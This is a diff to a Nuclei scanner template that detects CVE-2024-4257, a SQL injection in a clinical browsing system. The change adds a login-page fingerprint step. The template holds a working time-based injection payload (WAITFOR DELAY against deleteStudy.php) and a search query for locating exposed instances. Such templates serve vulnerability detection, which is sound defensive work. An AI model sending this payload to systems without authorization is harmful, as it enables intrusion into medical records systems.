minor update

http/cves/2024/CVE-2024-4257.yaml

@@ -20,19 +20,32 @@ info:
   metadata:
     verified: true
     max-request: 1
-    vendor: BlueNet Technology
-    product: Clinical Browsing System
     fofa-query: app="LANWON-临床浏览系统"
   tags: cve,cve2024,sqli,blunet
 
+flow: http(1) && http(2)
+
 http:
+  - raw:
+      - |
+        GET /login.php HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body,"<title>临床浏览</title>")'
+          - 'contains(header,"text/html")'
+          - 'status_code == 200'
+        condition: and
+        internal: true
+
   - raw:
       - |
         @timeout 20s
         GET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
         Host: {{Hostname}}
 
-    matchers-condition: and
     matchers:
       - type: dsl
         dsl: